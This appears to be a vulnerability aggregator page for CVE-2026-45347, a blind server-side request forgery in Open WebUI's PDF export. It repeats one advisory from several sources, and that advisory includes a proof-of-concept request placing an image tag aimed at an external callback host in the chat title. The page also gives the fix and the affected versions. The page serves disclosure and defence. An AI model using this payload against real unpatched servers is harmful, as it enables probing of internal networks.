CVE-2026-45347
Open WebUI: Blind server side request forgery (SSRF) via the PDF generate function
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.5.11, there is a blind server side request forgery (SSRF) via the PDF generate function. In the PDF export, user inputs are interpreted as HTML and embedded into the PDF. According to tests, scripts and some potentially dangerous tags (iFrame, Object, etc.) are blocked, preventing server-side content from being read through this vulnerability. However, an image tag can be used to force a server-side request (SSRF), as shown in the following below. This vulnerability is fixed in 0.5.11.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
4.3
Open WebUI: Blind server side request forgery (SSRF) via the PDF generate function
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.5.11, there is a blind server side request forgery (SSRF) via the PDF generate function. In the PDF export, user inputs are interpreted as HTML and embedded into the PDF. According to tests, scripts and some potentially dangerous tags (iFrame, Object, etc.) are blocked, preventing server-side content from being read through this vulnerability. However, an image tag can be used to force a server-side request (SSRF), as shown in the following below. This vulnerability is fixed in 0.5.11.
- Record
CVE-2026-45347- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-30648
4.3
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.5.11, there is a blind server side request forgery (SSRF) via the PDF generate function. In the PDF export, user inputs are interpreted as HTML and embedded into the PDF. According to tests, scripts and some potentially dangerous tags (iFrame, Object, etc.) are blocked, preventing server-side content from being read through this vulnerability. However, an image tag can be used to force a server-side request (SSRF), as shown in the following below. This vulnerability is fixed in 0.5.11.
- Record
EUVD-2026-30648- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-f776-fp4w-266c
4.3
Open WebUI vulnerable to blind server side request forgery (SSRF) via the PDF generate function
Summary
Blind server side request forgery (SSRF) via the PDF generate function. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.
Details
In the PDF export, user inputs are interpreted as HTML and embedded into the PDF. According to tests, scripts and some potentially dangerous tags (iFrame, Object, etc.) are blocked, preventing server-side content from being read through this vulnerability. However, an image tag can be used to force a server-side request (SSRF), as shown in the following below.
PoC
Start a chat and export the PDF:
Intercept the request and insert an <img> tag into the title:
POST /api/v1/utils/pdf HTTP/2
Host: domain.local
//Some headers removed
Content-Type: application/json
Content-Length: 541
Te: trailers
{"title":"<img src='https://d5jok0s7ghl1p77v5brlqlxwmnsega4z.oastify.com' />","messages":[{"id":"81f24589-384d-431c-a26c-5cd3382ac941","parentId":null,"childrenIds":["0c1a3ee1-6350-4bb4-b95e-fc2341c47e8e"],"role":"user","content":"hallo","timestamp":1736932102,"models":["gpt-4o-POC"]},{"parentId":"81f24589-384d-431c-a26c-5cd3382ac941","id":"0c1a3ee1-6350-4bb4-b95e-fc2341c47e8e","childrenIds":[],"role":"assistant","content":"Hallo! Wie kann ich Ihnen helfen?","model":"gpt-4o-POC","modelName":"gpt-4o-POC","modelIdx":0,"userContext":null,"timestamp":1736932103,"done":true}]}
A HTTPS callback was received at https://d5jok0s7ghl1p77v5brlqlxwmnsega4z.oastify.com.
Impact
A user can force server-side GET requests. During the available testing time, no method was found to read the responses (Blind SSRF). Nonetheless, this should be prevented, as an attacker could enumerate internal assets through response delays and trigger arbitrary GET requests.
Resolution
Fixed in commit 167c8bf00, first released in v0.5.11 (2025-02). The fix wraps every user-controllable field that flows into the PDF HTML template (title, content, role, model, formatted date) in html.escape() before the template f-string is fed to fpdf2.write_html(). The PoC payload <img src='...' /> is escaped to <img src='...' /> and rendered as literal text by fpdf2, with no HTML parsing and no outbound request. Users on >= 0.5.11 are not affected.
- Record
GHSA-f776-fp4w-266c- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
4.3
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.5.11, there is a blind server side request forgery (SSRF) via the PDF generate function. In the PDF export, user inputs are interpreted as HTML and embedded into the PDF. According to tests, scripts and some potentially dangerous tags (iFrame, Object, etc.) are blocked, preventing server-side content from being read through this vulnerability. However, an image tag can be used to force a server-side request (SSRF), as shown in the following below. This vulnerability is fixed in 0.5.11.
- Record
CVE-2026-45347- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N - CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
4.3
Open WebUI: Blind server side request forgery (SSRF) via the PDF generate function
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.5.11, there is a blind server side request forgery (SSRF) via the PDF generate function. In the PDF export, user inputs are interpreted as HTML and embedded into the PDF. According to tests, scripts and some potentially dangerous tags (iFrame, Object, etc.) are blocked, preventing server-side content from being read through this vulnerability. However, an image tag can be used to force a server-side request (SSRF), as shown in the following below. This vulnerability is fixed in 0.5.11.
- Record
CVE-2026-45347- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGHSA-f776-fp4w-266c
4.3
Open WebUI vulnerable to blind server side request forgery (SSRF) via the PDF generate function
Summary
Blind server side request forgery (SSRF) via the PDF generate function. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.
Details
In the PDF export, user inputs are interpreted as HTML and embedded into the PDF. According to tests, scripts and some potentially dangerous tags (iFrame, Object, etc.) are blocked, preventing server-side content from being read through this vulnerability. However, an image tag can be used to force a server-side request (SSRF), as shown in the following below.
PoC
Start a chat and export the PDF:
Intercept the request and insert an <img> tag into the title:
POST /api/v1/utils/pdf HTTP/2
Host: domain.local
//Some headers removed
Content-Type: application/json
Content-Length: 541
Te: trailers
{"title":"<img src='https://d5jok0s7ghl1p77v5brlqlxwmnsega4z.oastify.com' />","messages":[{"id":"81f24589-384d-431c-a26c-5cd3382ac941","parentId":null,"childrenIds":["0c1a3ee1-6350-4bb4-b95e-fc2341c47e8e"],"role":"user","content":"hallo","timestamp":1736932102,"models":["gpt-4o-POC"]},{"parentId":"81f24589-384d-431c-a26c-5cd3382ac941","id":"0c1a3ee1-6350-4bb4-b95e-fc2341c47e8e","childrenIds":[],"role":"assistant","content":"Hallo! Wie kann ich Ihnen helfen?","model":"gpt-4o-POC","modelName":"gpt-4o-POC","modelIdx":0,"userContext":null,"timestamp":1736932103,"done":true}]}
A HTTPS callback was received at https://d5jok0s7ghl1p77v5brlqlxwmnsega4z.oastify.com.
Impact
A user can force server-side GET requests. During the available testing time, no method was found to read the responses (Blind SSRF). Nonetheless, this should be prevented, as an attacker could enumerate internal assets through response delays and trigger arbitrary GET requests.
Resolution
Fixed in commit 167c8bf00, first released in v0.5.11 (2025-02). The fix wraps every user-controllable field that flows into the PDF HTML template (title, content, role, model, formatted date) in html.escape() before the template f-string is fed to fpdf2.write_html(). The PoC payload <img src='...' /> is escaped to <img src='...' /> and rendered as literal text by fpdf2, with no HTML parsing and no outbound request. Users on >= 0.5.11 are not affected.
- Record
GHSA-f776-fp4w-266c- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVPYSEC-2026-2723
4.3
Open WebUI vulnerable to blind server side request forgery (SSRF) via the PDF generate function
Summary
Blind server side request forgery (SSRF) via the PDF generate function. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.
Details
In the PDF export, user inputs are interpreted as HTML and embedded into the PDF. According to tests, scripts and some potentially dangerous tags (iFrame, Object, etc.) are blocked, preventing server-side content from being read through this vulnerability. However, an image tag can be used to force a server-side request (SSRF), as shown in the following below.
PoC
Start a chat and export the PDF:
Intercept the request and insert an <img> tag into the title:
POST /api/v1/utils/pdf HTTP/2
Host: domain.local
//Some headers removed
Content-Type: application/json
Content-Length: 541
Te: trailers
{"title":"<img src='https://d5jok0s7ghl1p77v5brlqlxwmnsega4z.oastify.com' />","messages":[{"id":"81f24589-384d-431c-a26c-5cd3382ac941","parentId":null,"childrenIds":["0c1a3ee1-6350-4bb4-b95e-fc2341c47e8e"],"role":"user","content":"hallo","timestamp":1736932102,"models":["gpt-4o-POC"]},{"parentId":"81f24589-384d-431c-a26c-5cd3382ac941","id":"0c1a3ee1-6350-4bb4-b95e-fc2341c47e8e","childrenIds":[],"role":"assistant","content":"Hallo! Wie kann ich Ihnen helfen?","model":"gpt-4o-POC","modelName":"gpt-4o-POC","modelIdx":0,"userContext":null,"timestamp":1736932103,"done":true}]}
A HTTPS callback was received at https://d5jok0s7ghl1p77v5brlqlxwmnsega4z.oastify.com.
Impact
A user can force server-side GET requests. During the available testing time, no method was found to read the responses (Blind SSRF). Nonetheless, this should be prevented, as an attacker could enumerate internal assets through response delays and trigger arbitrary GET requests.
Resolution
Fixed in commit 167c8bf00, first released in v0.5.11 (2025-02). The fix wraps every user-controllable field that flows into the PDF HTML template (title, content, role, model, formatted date) in html.escape() before the template f-string is fed to fpdf2.write_html(). The PoC payload <img src='...' /> is escaped to <img src='...' /> and rendered as literal text by fpdf2, with no HTML parsing and no outbound request. Users on >= 0.5.11 are not affected.
- Record
PYSEC-2026-2723- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
open-webuiPyPI |
before 0.5.11 | 0.5.11 |
open-webuiPyPI |
before 0.5.11, plus listed versions 0.1.1240.1.1250.2.00.2.10.2.2 Show 45 moreShow less0.2.30.2.40.2.50.3.00.3.10.3.100.3.120.3.130.3.140.3.150.3.160.3.170.3.17.dev20.3.17.dev30.3.17.dev40.3.17.dev50.3.180.3.190.3.20.3.200.3.210.3.220.3.230.3.240.3.250.3.260.3.270.3.27.dev10.3.27.dev20.3.27.dev30.3.280.3.290.3.30.3.300.3.30.dev10.3.30.dev20.3.310.3.31.dev10.3.320.3.330.3.33.dev10.3.340.3.350.3.40.3.5 |
0.5.11 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-45347 is a medium vulnerability (CVSS 4.3) in Openwebui Open Webui, published May 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.19%, the 8th percentile. Fixed in open-webui 0.5.11.
References
github.com/open-webui/open-webui/security/advisories/GHSA-f776-fp4w-266c
github.com/open-webui/open-webui/commit/167c8bf00d165af523acfc3b870749f6be6d3e57
github.com/open-webui/open-webui/releases/tag/v0.5.11
nvd.nist.gov/vuln/detail/CVE-2026-45347
github.com/advisories/GHSA-f776-fp4w-266c
github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45347.json
github.com/open-webui/open-webui
pypi.org/project/open-webui
Left out here: 30 versions. The JSON record has them.